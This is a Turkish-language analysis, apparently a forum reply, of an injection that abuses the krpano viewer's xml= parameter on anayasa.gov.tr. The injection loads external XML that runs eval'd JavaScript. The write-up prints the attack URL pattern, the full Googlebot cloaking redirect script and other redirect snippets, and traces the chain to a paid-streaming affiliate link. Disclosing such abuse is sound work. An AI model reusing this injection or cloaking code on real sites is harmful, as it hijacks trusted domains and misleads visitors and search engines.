Olay ne?
Anayasa Mahkemesi sitesindeki 360° galeri sayfası (anayasa.gov.tr/galeri360/index.html) krpano adlı panorama görüntüleyicisini kullanıyor. Bu görüntüleyici URL'deki xml= parametresini kontrol etmeden kabul ediyor. Saldırganlar da bu parametreye kendi XML'lerini koyup devlet sitesinin adresi altında istedikleri içeriği gösterebiliyor.
Zincir adım adım:
1. Paylaşılan link şu şekilde: anayasa.gov.tr/galeri360/index.html?xml=data:video/mp4;base64,...
Base64 çözülünce <krpano><include url="https://leogoats.github.io/bf.edu/ujm.xml"/></krpano> çıkıyor. Yani dışarıdaki bir XML yükleniyor. "video/mp4" yazısı tamamen göz boyama.
2. O XML krpano'nun js(eval(atob(...))) özelliğiyle tarayıcıda JavaScript çalıştırıyor. Kod happyneppy.github.io/babu/Flow/<id>.html adresinden bir sayfa çekiyor ve document.write ile anayasa.gov.tr sayfasının tamamını siliyor, yerine bunu yazıyor. Adres çubuğunda hâlâ anayasa.gov.tr görünüyor.
3. Yazılan sayfa, Sky Sports'u taklit eden bir "maçı canlı izle" sayfası. index, follow etiketi taşıyor, yani Google'a indekslensin diye yapılmış.
4. O sayfa da benim bahsettiğim sdev3833.github.io/alljs/italianseriea1.js script'ini yüklüyor. Script'in tamamı şu:
// Check if the user-agent is not from a search engine crawler (e.g., Googlebot)
if (!navigator.userAgent.includes('Googlebot')) {
// Redirect only normal users
window.location.href = "https://hulu-jhulu-bad-daw.blogspot.com/2026/10/italian-serie-a.html";
} else {
console.log("THanks for visiting my page");
}Bu ne demek?Buna cloaking deniyor. Googlebot gelince sayfa olduğu gibi kalıyor ve Google "anayasa.gov.tr'de Serie A canlı yayın sayfası var" diye bunu indeksliyor. Gerçek kullanıcı gelince ise anında bir blogspot sayfasına yönlendiriliyor. Oradan da büyük ihtimalle bahis veya yasa dışı yayın sitesine gidiliyor; sizin "bahis sitesine atıyor" demeniz bununla uyuşuyor. Kısacası devlet sitesinin itibarını kullanan bir SEO spam / bahis yönlendirme kampanyası.
1. Blogger profili 18093194751698607980:
- Profil adı "sujoysports", Temmuz 2015'ten beri Blogger'da, 8.097 profil görüntülenmesi var.
- Profile bağlı 49 blog bulunuyor. Hepsi aynı kalıpta: sujoysports01, sujoysports02, sujoysports26, sujoyhdtv247, sportszonehd24, mohonsportslive, uefa-live-tv-broadcast-2019-20, nflsportslive2018 gibi. Aralarında "canlı yayın" bloglarının yanında film ve yetişkin içerik spam blogları da var.
- 2018–2019 tarihli blog isimleri de olduğuna göre bu yıllardır süren bir canlı yayın spam ağı.
2. sujoyhdtv247.blogspot.com:
Ekim 2026 gönderileri (allsports, soccer-tv-1, saudi-pro-league, nfl-tv, efl-championship vb.) içerik taşımıyor. Gönderi gövdesinde yalnızca şu yönlendirme var:
ref="https://sportsmax.pro/allsports/?sujoy";
top.location.replace(ref);
?sujoy parametresi trafiğin hangi kaynaktan geldiğini takip etmek için kullanılıyor.
3. italianseriea1.js'in yönlendirdiği blog (hulu-jhulu-bad-daw.blogspot.com):
Aynı yöntem burada da var. Gönderinin tek içeriği:
window.location = "https://scorepromax.live/web/ucl?lala";
4. scorepromax.live:
noindex etiketli, sadece "yükleniyor" animasyonu gösteren bir ara sayfa. 2 saniye sonra şu adrese gönderiyor:
https://antsports.tv/go/6403CB49
Koddaki yorumlarda (absayed, ddesk) farklı affiliate'lerin linkleri birbiriyle değiştirilmiş görünüyor.
5. Son durak antsports.tv:
"Live Sports Trusted Since 2015" diye kendini tanıtan, ücretli abonelik isteyen bir canlı spor yayını sitesi. /go/6403CB49 kısmı affiliate kimliği. Yani bu zinciri kuran kişi, gönderdiği her ziyaretçi ya da abonelik için komisyon alıyor.
Zincirin tamamı:
anayasa.gov.tr/galeri360 (krpano xml= açığı)
→ leogoats.github.io/bf.edu/ujm.xml
→ happyneppy.github.io/babu/Flow/<id>.html (sahte Sky Sports sayfası, Google'a indeksleniyor)
→ sdev3833.github.io/alljs/italianseriea1.js (Googlebot değilse yönlendir = cloaking)
→ hulu-jhulu-bad-daw.blogspot.com
→ scorepromax.live/web/ucl?lala
→ antsports.tv/go/6403CB49 (affiliate → ücretli yayın aboneliği)
